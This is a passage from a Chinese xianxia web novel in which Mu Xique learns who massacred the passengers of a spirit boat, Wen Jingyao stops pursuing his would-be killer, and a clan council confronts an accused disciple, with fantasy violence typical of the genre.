毕竟她不仅是救下徐无咎,杀害那么多人的凶手,也是一刀险些捅穿闻惊遥命门的人。 人怎么会对一个要杀自己的人如此情深? 徐无咎“啧”了一声,说道:“看起来慕二小姐很是了解闻少主。” 慕夕阙眉心阴郁,并未回话。 徐无咎捂着嘴咳了几声,说道:“我们借一步说话吧,有些话我还是亲口告诉你为好,二小姐,我信任你。” 慕夕阙转身就走:“跟我过来。” 当天光撕破黑暗,照亮十三州的一座座山后,白日来临。 灵舟在漂浮了一整晚后终于抵达十三州。 越疏棠弯腰走出船舱,站在甲板之上,望向远处雾气笼罩的一座座城池和连绵不绝的山峰。 海外仙岛的山不多,只有两座,说是山也有些勉强,更像是一座略高的岛屿罢了。 而十三州放眼望去,群山连绵,翠绿叠嶂,白雾环绕在山旁,云鹤绕山齐飞,啼鸣悦耳清脆。 迟笙看得目瞪口呆:“……好漂亮啊,我第一次见这么多的山,山里面都有山灵吗?” 整个海外仙岛只有两只山灵,栖息在两座山中成为护佑海外群岛的玉灵,十三州的每一座山里却都住着一只山灵,每一个依山而建的城池都有一只庇佑他们的玉灵。 越疏棠红唇微抿,清晨的风尚有些冷,她看着远处的城池,搭在甲板护栏上的手攥紧,忽然明白了,为何父亲总念叨十三州,承诺会攒够船票带她来十三州瞧一瞧。 一张票三万金,回去还需三万金。 越疏棠拼命接任务,拼命攒钱,终于攒够了那些足够她衣食无忧的钱,却用毕生积蓄买了两张船票,从海外仙岛穿过祭墟,带着义妹来到父亲向往的十三州。 她转身下舟,迟笙跟在她身后,瞧着兴奋极了,恨不得当即便能冲出去撒欢。 迟笙指着最远处的山:“那座山,阿姐你看到了吗,它好高!那只栖息在里面的山灵一定非常强大!” 越疏棠望着远处只能漏出一截山头的山,隐匿在云雾中。 身后有道浑厚的声音说道:“那是琼筵山,里面的山灵叫金龙,护佑淞溪。” 越疏棠和迟笙回头看他。 身着灰衫的掌舵老者抬手换了个方向:“那是雾璋山,山灵叫青鸾,护佑东浔。” “那是凌游山,山灵叫麒麟,护佑赤敛。” 他指着一座座山,每一座山在哪个方位,山灵叫什么,护佑哪个城池,他都记得清清楚楚。 末了,他收回手,对他们说道:“这是十三州的山,那些是十三州的山灵,各个城池的玉灵。” 越疏棠看着他,并未说话。 迟笙笑吟吟问道:“你个老头懂得还挺多,你是哪家门派的人啊,慕家,闻家,还是燕家?” 关于十三州,迟笙知道的不多,只认几个家族。 老者负手而立,淡声道:“我姓陈。” 迟笙歪歪脑袋:“嗯……陈家?我听说好像是十三州第一个灭门的家族。” 掌舵老者笑了笑,摆摆手离开:“姓陈而已,姓陈的人多了。” 作者有话说:闻沉就是之前35章跟燕如珩说话的闻家长老~ 第49章 第 49 章 “夕阙,我不查了。”…… 关上木门, 慕夕阙坐下,仰头看病容明显的徐无咎。 他本来瞧着就虚弱,上次毒发之后更是一发不可收拾, 如今连灵力都用不出来,撑着一口气全靠慕家的各种灵丹吊着。 慕夕阙道:“你的毒中了多久, 谁给你下的, 不清毒素你活不了多久。” 徐无咎笑了笑,满不在乎在慕夕阙对侧坐下,与她隔了一张圆桌。 “二小姐便不必管这些了, 我的身子我自是知晓。”徐无咎取出一盏暖茶,倒了一杯后对慕夕阙举了举,“要喝点茶吗?” “不必了, 谈正事, 你知道我要问什么。”慕夕阙看着他, 自打救了徐无咎后她便没空去询问他当年的事情。 徐无咎也不在乎, 自己抿了口茶, 眼睫半垂,像是闲聊般说:“当年随家主救下我,送我去海外仙岛, 那年我七岁,我和你父亲慕峥家主, 以及燕家先少主上了同一艘灵舟, 从十三州去往海外仙岛需飞上八个时辰。” 慕夕阙点点头,并未说话, 徐无咎说的这些她都知晓。 徐无咎接着道:“前半夜并无事发生,慕家主似乎知晓我是孤身逃难的,和燕少主在舟上对我也很照顾, 直到灵舟启航约莫六个时辰后,后舱出了事,一个身染秽毒的人化祟了。” “他杀了多少人想必你也知晓,那只祟种太过强悍,刚化祟便有逼近大乘境的修为,而先慕家主慕峥擅阵术,是化神中境,燕少主是元婴满境,加之舟上的其余修士,若是配合作战,兴许能撑到灵舟落至海外仙岛,仙岛的人会给予救援。” 可他们没有撑到。 灵舟在天亮落到海外仙岛,血水染红了大片沙滩。 慕夕阙微微眯眼,看着徐无咎。 徐无咎抬眸,浅眸和她对视,说道:“那艘灵舟似乎有异,上面的符篆被人改过,我在船舱内亲眼看到慕峥家主和燕少主为了保护百姓直迎祟种,可他们的修为被压制了,两个修为并不弱的人只撑了不到两刻钟,祟种从后舱一路屠到前舱。” “而重伤的我被一个售卖金饰的商贩护在身下,那些尸身摞在我身上,慕峥家主在死前朝我扔了个符篆,似乎是掩盖气息的,那只祟种并未觉察出舟上还有活口,我透过缝隙,看到了那些人的脸。” 慕夕阙双手环胸,靠在木椅中,可交叠在肘弯的手却早已攥紧,她冷冷看着徐无咎。 徐无咎薄唇微抿,与她直视,一字一句道:“有十四人,鹤阶旷悬、白望舟、纪挽春,闻家闻时烨、闻淮,千机宗应逐、季观澜,浮生谷夙泽,赤敛燕家燕如珩、燕煊,还有不归谷容芜、容翊,剩下两人我不认识,有一人穿了身兜帽,一人脸生,我在十三州未查到。” 慕夕阙知晓穿戴兜帽的人是谁,那个修为奇怪的黑衣男子。 可怎么会还有一人? 徐无咎说的这些人,几乎都是上辈子慕夕阙查到的参与了慕家灭门一事的门派,原来有些人早在慕峥出事那时,就已经在幕后布局了。 慕夕阙问道:“他们杀了人便走了?” “嗯。”徐无咎颔首,看着慕夕阙,“有另一艘灵舟来接应他们了,渡口过舟的人应当有问题,这灵舟只有他们那一脉可以开。” 慕夕阙上一世也去查了,那是住在十三州沿海一个渔村内的一个小家族,虽也姓陈,却与灵翠谷陈家半分关系都无,举家不过十几人,她查到那里的时候,已经只剩下几个女子和孩子留在那里了,那时的慕夕阙什么都没说,扭头就走了。 她看着徐无咎,问道:“你在海外仙岛如何活下去的?” 徐无咎道:“你知道影杀吗,遍布海外群岛的一方势力,在那里的地位甚至堪比十三州的鹤阶。” 慕夕阙自然知晓,上辈子她结识影杀便是随泱牵桥搭线的,她跟着影杀里的能人异士学了不少保命的东西,一手古怪的杀招大多都是随里面的杀手学的。 虽是海外仙岛版的“鹤阶”,影杀顶着杀手名号,干得却都是忠义之事,妇孺孩童不杀,行善积德者不杀,只杀奸恶。 贵胄花万金买仇人的命,寻常百姓也可以* 只给一金寻他们诛恶,阁主看似贪财,却并不是利欲熏心之人,慕夕阙挺服气他们的为人处世,与那位阁主也有些交情。 但这一辈子她没去过海外仙岛。 于是慕夕阙只道:“听说过。” 徐无咎道:“是影杀的人救了我,帮我压制毒素,因我身有剧毒不可过度修炼,于是我便跟着他们学锻器,五年前重返十三州,被倦天涯的阁主看中了这一手锻器的功夫收我入倦天涯,当了天阶锻器师。” “你为何会与任风煦前辈认识?”慕夕阙问道。 提及任风煦,徐无咎目光暗淡了些,抿了抿唇,沉声道:“我去往海外仙岛的第五年,义父也来了海外仙岛,他在查慕峥家主的事情,慕家主于我有恩,我便托人去找了任前辈,也因此暴露了踪迹,让尾随任前辈一同来海外仙岛的鹤阶暗桩发现,暗地追杀我,最后为义父所救。” “义父他一直在查慕家主的事情,挚友的死对他的打击很大。” 慕夕阙从未听说过任风煦在查慕峥的事情,似乎连朝蕴都放弃了,慕家这些年都未提过,因此少女时期的慕夕阙脾气最大的时候,没少拿这件事怼朝蕴。 ——父亲惨死你们不查,一直缩在自己的乌龟壳里连头都不敢冒,你们怕鹤阶,我可不怕。 ——我偏要查,我活着就一定会查,你们没胆子,可我有! 她多有胆啊,纵使朝蕴勒令不许查,她偏要去查,她对鹤阶的恶意连演都不演,就是憎恶,就是要诛灭他们。 可朝蕴实际也一直在追查,害怕连累慕家,她暗自偷偷去查。 就连任风煦也在查,无人忘记慕峥的死,只是势单力孤,不能硬碰硬,可慕夕阙偏生就是不知晓这个道理。 “慕二小姐,你在想什么?”徐无咎笑了一声,又倒了杯茶暖胃,他浑身都觉得冷,只能靠不断喝茶来暖和些。 慕夕阙抬头看他:“鹤阶早便知晓任前辈在追查,却并未对他下手,最后选择动手,应是前辈查到了格外重要的东西,让他们不得不动手铲除。” “是。”徐无咎颔首,“我并不知他查到什么,为了保全我,义父并不与我说这些事,可鹤阶知晓了他有个义子,便一直在追杀我。” 鹤阶可不会管徐无咎是否知道真相,但凡是与任风煦有关系的,宁可错杀绝不放过。 慕夕阙坐直身子,眼神冷了些:“那来说说你们陈家那个木盒子吧,陈家主交给随前辈的木盒子,到底是什么,能证明天罡篆不是鹤阶的东西吗?” 徐无咎收起笑意,放下茶,隔着一张桌子看着慕夕阙:“陈家老祖当年和慕家老祖一同夺得阴阳神石,阳石主天脉,化为十二辰,阴石主地脉,化为天罡篆,为何慕家老祖明知鹤阶杀人夺宝却不管不问,害我陈家只能隐姓埋名落得个这步田地?” 慕夕阙面无表情看着他,并未开口出声。 徐无咎道:“慕二小姐不知吗?明明是慕家的开山老祖,修为这般高深,连金龙都认可她,偏偏你们慕家族史关于她的记载寥寥无几,为何?” 慕夕阙也想知道为何,她不是没看过族史,任何一任家主的生辰八字,平生大小事迹哪个不是洋洋洒洒写了十几页的,唯独开山老祖那一页只写了不到百字,只知道姓名八字,是个女子,独自创派,是十二辰的第一任主人。 徐无咎冷了脸,淡声道:“那二小姐还是想办法先查查你们慕家老祖吧,陈家的事与她也脱不了干系。” 两人僵持,慕夕阙看着他,眼神冷淡,意思分明,他必须要告知那木盒中是何物。 对峙了片刻,徐无咎耸了耸肩,懒洋洋靠进木椅:“木盒里只是一封盖了家主契印的书信而已,当年的鹤阶家主书信要鹤阶去诛杀我陈家老祖,将尸身丢于海域,老祖的夫人跳海寻到他的尸身之时,在他的袖子内拽出了那封撕了一半的密信,正好是戳了家主契印的那一半。” 信可以造假,字迹可以模仿,家主契印便是铁证。 鹤阶应也发现密信不知何时被拽下一半,因此一直追杀剩下的陈家人,而陈家夫人带着孩子就此隐居躲藏,一躲将近万年。 徐无咎站起身,看着端坐的慕夕阙:“当年世人并不知我们老祖成了婚,有孩子,因此鹤阶也松懈了,当他是孤身一人。我也看过老祖夫人带出的老祖生前所写手札,当时我向蔺公子追问十二辰的下落,确实是抱着用它的心。” 慕夕阙皱眉:“敛骨吹魂?” 她笑了一下,有些不解:“你真信啊,十二辰只是可以借天脉之力罢了,什么掌四时流转、阴阳轮回,慕家历任神主从未有人能用十二辰做到这地步。” 慕夕阙也并不信这些,在她看来,十二辰就只是一个能借天脉之力的神器。 可徐无咎只是淡淡看着她。 慕夕阙沉了脸,与他对视:“陈家老祖的手札里写了什么?” “十二辰借天脉,主生灵,掌四时流转,可敛骨吹魂,使亡者复生;天罡篆借地脉,主死灵,集结亡灵之力,可使地崩山摧。” 慕夕阙点点头:“不过他的一面之词罢了,若真能使亡者复生,历任神器之主便不会死。” 她也站起身,看着徐无咎道:“与其信死后能借天神之力复生,不如活好当下这一世,想要什么去争去夺,想守什么就拿命去守。” 慕夕阙说完,并不等徐无咎的回答,绕过他便出了门。 如今天快亮了,朦胧天光泼洒在青砖上,慕夕阙沿着小路一直往前走,看着淡然,实则根本不知自己走去了哪里,她心里装着事情,边走边想。 她的重生是否与十二辰有关系? 就算十二辰真能敛骨吹魂,但是逆转时间、重回过去这种完全违背天道的事情,荒谬至极,十二辰能有这般大的能力吗? 直到走到一处小院前,那扇木门堵住了她的路,她终于回神。 慕夕阙皱眉,转身便要走。 身后的门在此刻打开,少年清洌的声音唤她:“夕阙。” 慕夕阙转身,牵出笑:“本想着来看看你,又觉得你在休息,我先走吧。” 闻惊遥看着并未休息,连衣裳都没换,似乎刚回到自己的小院没多久,他的袖子挽起来,露出线条流畅、劲瘦有力的小臂。 “无事,有时间的。” 他走过来,牵住她的手朝自己的院里走去。 慕夕阙看到院里房檐下那桶竹筐:“你要晒茶叶?” 闻惊遥道:“不是,这些茶叶是先前被雨水打湿收起来准备扔了的,只是闻家忽然出事,没来得及处理,我方才在磨东西。” 闲的没事干了? 慕夕阙皱眉,狐疑看着他。 闻惊遥的院角里有个小磨盘,他搬了个椅子给慕夕阙,自己单膝蹲下取了一把尚未磨好的木质粉末,递给慕夕阙看:“这是生长在雾璋山顶的灵凇果,果实磨成粉末,熬成膏体是上好的祛疤伤药,药性也温和。” 慕夕阙反驳道:“我这里有化瘀的伤药。” “我知晓,那药见效快,但药性寒凉,长期用对身子总归是不好的。”闻惊遥说道,“前些时日我上山采茶叶时,正逢果实成熟便摘了一些,想着给你送去,后来又被父亲派去除祟,便耽搁了。” 闻惊遥放下果子,长睫半垂,取出搁置在一旁的瓷瓶,将磨盘里刚磨好的一部分果粉扫进瓷瓶。 他干着活,眉目沉静:“我不想你受伤,可在东浔这些时日,你受了很多伤,终归是我无能,没能护好你,还得连累你。” 慕夕阙眉心紧蹙:“我不需要任何人护着。” 闻惊遥并未看她,仍专心清扫残余的果粉,耐心回她:“我知晓,可喜欢一个人,是一定会想保护她的。” 就好比慕夕阙喜欢淞溪,喜欢慕家,喜欢她的师兄师姐,师弟师妹们,因此她会不竭余力、不计后果去保护他们,这是另一种爱。 “我喜欢东浔,我会去保护他们;我喜欢青鸾,也会想保护青鸾;我喜欢你,自然也会想拿命去守着你,这与你强大与否、能不能自保无关,夕阙,被人保护不丢脸的。” 闻惊遥取满了一个瓷瓶的果粉,这一瓶只能熬不到半瓶的药膏,因此还需再磨。 他专心干活,慕夕阙坐在他身边,看少年骨节分明的手握住石磨推推碾碾。 慕夕阙垂眸,长睫盖住眼睑。 保护她的人很多,都没什么好下场。 一小袋子的果子,最终只磨了三瓶果粉,刚好够熬一瓶药膏,他坐在后院,慕夕阙也坐在他身边,看他熟练生火,添加药材,熬制药膏。 他干这些活很熟练,劈柴生火,和面做饭,这些都是闻惊遥自小便学的东西,在清心观的十年,只有他和万初守着那座雪山,守着山谷里的青鸾。 药膏的味道有些酸甜,慕夕阙吸了吸鼻子嗅了嗅,闻惊遥察觉到,递来个熟透的果子。 “还有一颗,可以吃的。”闻惊遥顿了顿,“洗过的。” 慕夕阙并不在乎洗过没,她上辈子过得苦多了,如今什么都能吃,什么都能穿。 她接过咬了一口,吃着倒是偏甜。 闻惊遥正在熬药膏,看着药盅里逐渐粘稠的膏体,忽然问道:“夕阙,你身上骨裂好了吗?” 慕夕阙当他在问这两天作战的伤势,淡声回答:“还好。” “那后背的伤呢?”闻惊遥又问。 慕夕阙道:“没事,不严重。” 闻惊遥没再说话。 慕夕阙顿了顿,忽然拧眉,余光看向熬药的闻惊遥。 为何问骨裂和脊背的伤? 闻时烨死的时候,她和闻惊遥过招了,那时他没留情面,一掌震碎了她一根肋骨,将她重重摔在树干上,脊背确实砸出了大片淤青,慕夕阙拿浴桶粗糙糊弄过去,闻惊遥也确实第二日便换了那浴桶。 慕夕阙握着果子的手紧了紧,漫不经心问道:“杀害闻时烨、旷悬以及季观澜的人,闻家还查吗?” “不查了。”闻惊遥说道。 “为何不查?”慕夕阙皱眉,分外不解,“你不是说那女子心狠手辣,恐是个后患吗?” “她并未滥杀无辜。”闻惊遥垂眸熬药,侧脸宁静,“近些时日事情太多,我也不想再查了。” 慕夕阙喉口一哽,闻惊遥对十三州律规的奉行程度堪称死板,不是因为事务繁忙便会放过凶手的人,他的变化让她谨慎起来。 过了一会儿,慕夕阙凑近,轻声问道:“可她还想杀你呢,她捅你的那一刀只差一寸便捅穿了你的命门,你俩在东浔城外第二次相见,她不是又给了你一剑吗?” “一个想杀你的人,你都不查了?” 闻惊遥熬药的动作顿住,他看着药盅内咕咕冒泡的膏体,闻着那股果子的气息,灵淞果明明是酸甜的,却又无端觉得,有些苦涩。 好似要苦到心底了。 他安静好一会儿,在慕夕阙又一次追问下,闻惊遥动了动,长睫颤抖,喉口滚了几下,随后又继续熬药。 “夕阙,我不查了,想杀我的人很多,无所谓了。” 慕夕阙看着他的侧脸,忽然觉得,她好似也不是那么了解他。 闻惊遥变了,并且变了不少。 慕夕阙坐了回去,一边啃果子,目光落在青砖上,却并无焦点。 他既然是会变的,可以对一些事情让步,为何前世对她便是那么冷漠无情,死板固执? 若换成旁人背叛慕二小姐,只一次,她便一定会斩断所有关系,甚至想办法还回去。 可闻惊遥是不一样的,闻惊遥与所有人都不一样。 慕夕阙信任他的为人,因此性子高傲的她妥协让步,原谅了闻惊遥一次,原谅了他背刺她,瞒着她当上了鹤阶圣尊,给了他一次机会。 换来的是又一次彻骨的背叛,她又怎么会再信他?- 外三城的路障和尸身都已被彻底清理,闻家弟子带领内三城的百姓们陆续回到东浔主城,人多便可一同修缮外三城。 但内三城的百姓实在过于多,庄漪禾和几个仅剩的长老忙不过来,于是药膏刚熬制好,闻惊遥便去接应了。 此后一连三日都是如此,慕夕阙只有晚上能见到闻惊遥一面,白日他都找不见人。 慕夕阙乐得自在,白日在画墨阁养伤,晚上出去走走看看,燕家的事没解决,她也离不了东浔主城。 直到第七日傍晚,在院内打坐的慕夕阙接到了朝蕴的通传。 慕夕阙走进闻家议事堂,这次照旧,两侧坐满了人。 燕家坐于左侧,闻家和慕家坐于右侧。 见她进来,燕如珩对她颔首:“小夕。” 慕夕阙点点头,敷衍回礼,在朝蕴身旁坐下,闻惊遥也赶了回来,自顾自坐在慕夕阙身旁。 庄漪禾冷着脸:“燕少主若有话便直说吧。” “多谢庄夫人。”燕如珩笑笑,反手祭出个青色玉符,“这是发现青来尸身之时,攥于他手中的闻家弟子玉符,您猜今日闻家弟子与燕家弟子一同彻查所有八大堂弟子后,查到这玉符主子是谁?” 庄漪禾沉默不语,冷眼看他。 因着燕青来之死,燕家名正言顺彻查闻家弟子名录,这几日都是燕家、慕家、闻家三家弟子共同办事,查到什么都无法隐瞒。 燕如珩笑着说:“这弟子玉符属于闻家第三堂直系弟子,柳确。” 几个年轻弟子压着一人进来,慕夕阙和闻惊遥齐齐抬眸看去。 一个十五六岁模样的少年身着闻家内门弟子的青衫,模样稚嫩,他的身后押解之人,是景洲和宁筠。 慕夕阙忽然想起来柳确了,在雁门镇抵御祟种之时,他就在景洲身后,柳确也确实有资格修行竹影斩,并且修为不低,对付几个燕家弟子以及如今才筑基的燕青来绰绰有余。 她皱眉,看向景洲和宁筠,两人脸色沉着,但垂下的手却悄无声息攥紧,像是在压抑情绪。 慕夕阙凑到闻惊遥身边小声说:“内贼不是除净了吗,这个姓柳的弟子是何意?” 不等闻惊遥回答,柳确跪倒在地,低下头,沉声道:“夫人,是弟子的错,弟子气不过燕公子总是这般诋毁慕闻两家,便自作主张趁那时人乱,绑了人砍了他们几刀。” 庄漪禾握紧拳头,沉眸看他。 柳确以头碰地:“夫人,弟子所作所为我一人承担。” “柳确!” “住手!” 他说完,抬手蕴出灵力便要攻向自己的心口,庄漪禾瞳眸微缩,就连柳确身后的景洲和宁筠都来不及阻拦。 掌心距心口不足一寸之际,一根金簪从侧方急速袭来,在他的掌心擦出血痕,爆发的余威将他的手腕震得发麻,趁这片刻停顿,闻惊遥瞬移上前,扣住柳确的手腕。 景洲和宁筠疾步上前,一左一右钳制住他。 柳确抬眸,眸底赤红:“夫人!” 庄漪禾站起身,面露怒色:“给我闭嘴!” 慕夕阙收回自己方才掷出的金簪,闻惊遥也已坐回了她身侧,两人面目冷淡,看着对侧的燕如珩。 燕如珩安安静静与他们对视。 他笑了下,迎着众人的目光,问道:“如今闻家弟子已招供,还差一位慕家的人,请问闻少主和慕二小姐要如何处置呢?” “杀,还是不杀?” 作者有话说:小慕小闻干大事啦[撒花]十二辰很有用的~ 第50章 第 50 章 埋伏 慕夕阙看着燕如珩, 他隔着一条过道和她对视,仍旧光风霁月的模样。 赤敛燕家少主燕如珩,方正贤良, 声名藉甚,在年轻一辈的世家弟子中, 名望甚至能压过闻惊遥, 毕竟闻少主性子寡淡,那张什么都敢说的嘴没少得罪人。 议事堂气氛压抑,庄漪禾冷脸看着堂下的柳确, 慕家的人也沉了脸。 “燕少主不是说还有慕家的手笔吗?”慕夕阙忽然开口,“柳确事关燕小公子的事情,另一位慕家的凶手也并未寻到, 现在杀了, 未免有些草率, 不如这样, 给我们五日时间, 若查不出屠戮令弟的慕家人是谁,那么如何处置,燕少主说了算。” “届时是当众处决凶手, 还是将此事宣告十三州,都随你。” 慕闻两家的人陡然朝她看来, 庄漪禾并未说话, 朝蕴眉心微拧,似乎想开口制止, 但瞧见慕夕阙唇角带笑的模样,又觉得她似乎胸有成竹般。 朝蕴还是没开口打算,庄漪禾也同样如此, 两家如今的掌权人不说话,其余弟子长老自是也无人擅作主张。 闻惊遥看着慕夕阙的侧脸,安安静静。 燕如珩牵出笑:“那就听小夕的,我自是信你的。” 他站起身,垂眸看向柳确:“可这名弟子事关我阿弟身死,凶手不可交于你们闻家看管,我会带走他。” 庄漪禾当即开口:“不可——” 燕如珩抬眸看她:“当然,柳公子会关押在燕家居住的客栈,庄夫人不放心他的安危,也可派遣几名闻家弟子随着一同看管。” 庄漪禾居于高台,垂眸看他,她的神容再不似往日那般温和宁静,如今整个东浔压在她身上,她必须拿出家主的威严。 “可以。” 开口的是闻惊遥。 庄漪禾看过去,闻惊遥进来后便不说话。 此刻闻惊遥淡然看向燕如珩,纵使坐着,少主威严也不减半分。 “你可以带走柳确,闻家会派遣弟子随燕家一同看管,就如夕阙方才所言,给我们五日时间探查。” 燕如珩弯唇一笑,对他颔首:“好,那便多谢闻少主体谅了。” 他看向一旁的慕夕阙,后者仍旧是那副懒洋洋的姿态,慕二小姐并不太在乎仪态,自己怎么舒服怎么来,能靠着就不坐着,与一旁正身肃坐的闻少主差异明显。 燕如珩对她笑了笑,慕夕阙也弯弯眼眸,看着仍像过去那般。 他转身离开,脸却冷了下来。 不是错觉,慕夕阙对他确实变了,明明过去还拿他当朋友,从在莲衣阁揍燕青来之时,她就变了。 她对他有种难以看出,也难以忽略的恶意。 燕家弟子带走了柳确,庄漪禾看了眼景洲和宁筠,两人明白,于是拱手行礼,也跟了上去。 待他们都走后,庄漪禾坐回去,看向慕夕阙:“小夕,你方才所言是否心中已有计划?” 慕夕阙道:“柳确应是不得已,都敢一死了之了,足以看出他性子刚强,并不是会被利益驱使的人,那便是被威胁了,可从他的家人查起。” 庄漪禾眼眸半敛,低声自言自语:“我只是不知,燕家忽然对两家发难,只是为了败坏咱们的名声吗?那慕家的功法又是谁使出的,流星刃不是谁都可以修行的。” 此事朝蕴也查了几日,确信所有会慕家流星刃的弟子长老,在燕青来出事之际都未到东浔,燕家兴许也是拿捏了慕家查不出真凶,因此才这般有恃无恐。 可燕家应当还有旁的意图。 过了一刻钟后,议事堂的人散开,有些去查柳确的身世,有些仍去查慕家的人。 慕夕阙和闻惊遥走出议事堂,这几日他们不常见面,闻惊遥今日也是被临时从外面叫回的,他们并肩走在林荫小道,弟子大多被派了出去,周围也没什么人。 慕夕阙忽然问:“闻家主的后事要如何办,不守灵吗?” 闻惊遥沉声道:“并未守灵,闻家崇俭禁奢,即使是家主死后也是一口棺椁,燃烛一日后埋入雾璋山陵墓,灵位供于清心观。” 慕夕阙没再说话,每个家族有自己的习惯。 两人走了一会儿,闻惊遥忽然问道:“夕阙,慕家的流星刃当真没有旁人能学会?” 慕夕阙沉声道:“这东西不好学,是慕家老祖自创的,燕青来尸身上的流星刃刀口平整,术法绝妙,用它的人应当很是熟悉这门术法,这不是看几遍便能学会的,我的天资你应当也知晓,可流星刃我学了一月才能挥出。” 这并非自夸,慕夕阙于剑术一道上天资过人,许多剑法瞧一眼便能记住,再晦涩的东西也能轻易理解,她能学上一月的术法,旁人或许需要更久。 “如今慕家现存的人中,能挥出这般强大的流星刃,我能想到的只有几个人,我,我阿娘,我师兄,以及慕家几个长老,可除了我以外,他们那时都不在东浔主城,时间对不上。” 闻惊遥站定,忽然看向慕夕阙:“或许是想陷害你?” 毕竟会慕家秘法,当时还在东浔主城,只有一个慕夕阙。 闻惊遥蹙眉:“可燕如珩对你……” 他顿了顿,又沉声开口:“他既然对你有意,又怎会害你呢?” 在闻少主看来,喜欢一个人应当希望她过得更好,走得更远,又岂会暗自构陷,妄图谋害? 慕夕阙侧首看他:“正常人喜欢一个人自是细心呵护,但总有些脑子有病的并不这般想,你希望我过得好,他可不一定。” 她说得太过直白,闻惊遥不知道该怎么接话,难不成要和她一起骂人吗,可闻少主一句脏话都不会说。 看他呛住,不会接话,慕夕阙收回目光,继续往前走,淡声说:“燕如珩的心机远胜于你我,跟他拼脑子,我们应抵不过,对付他这种人,你的每一步都得仔仔细细地走。” 闻惊遥跟上她。 慕夕阙道:“跟我回趟画墨阁,有事跟你说。” 闻惊遥颔首:“好。”- 越疏棠一转身的功夫,迟笙就消失不见了。 她顿时气得脑门疼,忙去寻人,还好提前在迟笙身上下了灵印,就是想到迟早有这一遭。 果然,绕过前面那条街,迟笙就站在个小吃摊前,看人家摊主做糖人,这东西海外仙岛没有,她也觉得新鲜,早上才在东街吃了个。 越疏棠走过去,一把揪住她的耳朵:“我有没有说过不要乱跑?” 迟笙忙连连求饶:“阿姐阿姐,我知道错了!” 越疏棠压根也没用劲,松开她的耳朵,给对侧的摊主递过去银两:“来一个糖人。” 那摊主忙接过:“好嘞,姑娘要什么样式?” 迟笙笑呵呵挽住越疏棠的胳膊,扬声道:“要你方才做的那个样式。” “姑娘稍等,半刻钟就好。” 迟笙对越疏棠痴痴笑笑,忽略她的白眼,靠在她身上撒娇耍赖:“阿姐,我没来过十三州嘛,说不定这就是最后一次来呢,你就让我吃好玩好吧。” 越疏棠又瞪她一眼:“你好好攒钱,日后还能来,但这里人多,不要给我乱跑。” 从海外仙岛到十三州的代价实在太高,几万金是越疏棠接了几十年的任务才攒够的,若此次能查清父亲的事情,她日后应当也不会再来十三州,迟笙自是同样如此。 越疏棠起初本不想带迟笙前来,可迟笙是越疏棠十年前救下的稚童,她无家可去,越疏棠便拉扯她长大,带她一同进入影杀修行,迟笙颇为依赖这个阿姐,越疏棠也不放心她一个人留在海外仙岛。 于是只能拼命攒钱,攒够两人的路费,带她一同前来。 糖人做好后已是傍晚,越疏棠便带着迟笙回了客栈。 关上门,迟笙坐在屋内嘚啵嘚啵吃满桌的小吃,她从东街一路买到西街。 越疏棠对吃食并无兴趣,坐在窗边看外头熙熙攘攘的街道,她们是问路过来的,再往前走就到东浔地界了,但听闻前些时日东浔似乎出了事,如今闻家尚未对外正式通传。 影杀的人走之前,越疏棠听了些风声,似乎是要去东浔。 “阿姐,吃个鸡腿。” 正想着事情,侧方伸过来一个冒着热气的鸡腿,越疏棠低头一看,脑门一抽。 “不吃。”越疏棠推开迟笙,双手环胸靠坐在椅中。 他们住得高,视野开阔,迟笙拿了个鸡腿在她对面坐下,随她一起看向远处,瞧见雾璋山便能瞧见东浔了。 迟笙嘟囔道:“玉灵若是开启,咱们进得去吗?” “主城出入麻烦,但旁的城池登记户籍后便可进入。”越疏棠今日方问过这里的百姓,得到的答案是这般。 迟笙喋喋不休道:“那咱们进去去哪里呀?” “不知。” “怎么能不知道呢,不知道的话进去干什么啊?” 迟笙爱刨根问底,越疏棠头都大了,往往这时候只会闭眼,捂耳,静心打坐,迟笙自己说一会儿就闭嘴了。 夜越来越深,迟笙也已吃完休息,这座小镇早已宵禁,街上无人,静谧幽深。 倏然间,盘腿坐在窗边打坐的越疏棠睁开眼,眸底森寒,冷然看向窗外。 腰间的墨色玉符正闪着微弱的荧光,这附近有人在召集影杀的人。 越疏棠当即起身,一把拽起酣然大睡的迟笙。 “……阿姐?”迟笙懵懵揉揉眼睛。 越疏棠将她的外衫扔过去:“走,附近有影杀的人。” 迟笙当即清醒,小脸一板,迅速换衣拿上剑。 两道身影如鬼魅般跃下高楼,跳跃在青瓦之上- 亥时一刻,闻惊遥腰间的玉符亮了。 庄漪禾的声音从里面传来:“查到了,柳确是寒霞镇柳家的三子,在半月前,他的爹娘、兄长和二姐全数失踪,柳确的玉符在祟种攻城时便已丢失,闻家有登记在册,那时他的玉符应当是被人拽走了。” 闻惊遥看向对侧的慕夕阙,她果然猜对了。 柳确的玉符丢失并非是他故意,应是那时趁乱被人拽走了,那时的柳确也并不知家人失踪,估摸着从雁门镇回到东浔主城没多久,有人拿着家人性命去要挟他了。 柳确可以不在乎自己的生死,死也不会做背叛闻家的事,却无法舍弃家人的性命。 庄漪禾沉声道:“惊遥,闻家暗桩还查到寒霞镇有燕家和鹤阶弟子出没,想必人是被关在那里,事到如今,要想破局只能让柳确自己承认是有人威胁他,才可摆脱他的嫌疑。” 闻惊遥淡声开口:“我去吧。” 庄漪禾在那端沉默了瞬,又说道:“那我派个长老带一些闻家弟子跟你去。” 闻惊遥打断道:“不必,人多眼杂,燕家和鹤阶一定盯着东浔主城,我独身去。” “可是我总觉得恐怕有诈——” “阿娘,无事。” 闻惊遥态度坚决,他自小性子便沉稳。 庄漪禾终归是信任他的,闻惊遥也不是逞强的人,独身去应当有准备,想必有他自己的意图,于是她妥协:“好,那你去看看,若有不对即刻回来。” “嗯。”闻惊遥应下。 他抬眸看向慕夕阙,她正斜斜躺在对侧的竹榻上,庄漪禾拨来玉符前,她正在闭目休息,此刻倒是醒了,单手撑着侧脸,宽大的衣袖沿着手腕下滑,挂在腕间的玉镯也掉落在小臂上。 闻惊遥微微错开目光,沉声道:“夕阙,我去看看。” 慕夕阙闷闷笑了下:“好啊,你去吧。” 闻惊遥站起,本已背过身准备离开,却又生生顿住,他安静站了片刻,随后转身朝慕夕阙走过去。 少年单膝跪上竹榻,俯身凑近,干净的雪竹香扑鼻而来,在她唇角轻轻啄了啄。 慕夕阙眸光一转,看向近在咫尺的闻惊遥,抬手戳戳他的侧脸:“干什么,舍不得我?” “嗯。” 她侧过来脸,闻惊遥应了一声,瞬时覆上她的唇轻轻啄吻,他并未深入,只在红唇上啄吻几下,接着抬手拂开她挡住侧脸的鬓发,别到慕夕阙的耳后。 “我去一趟,夕阙。” 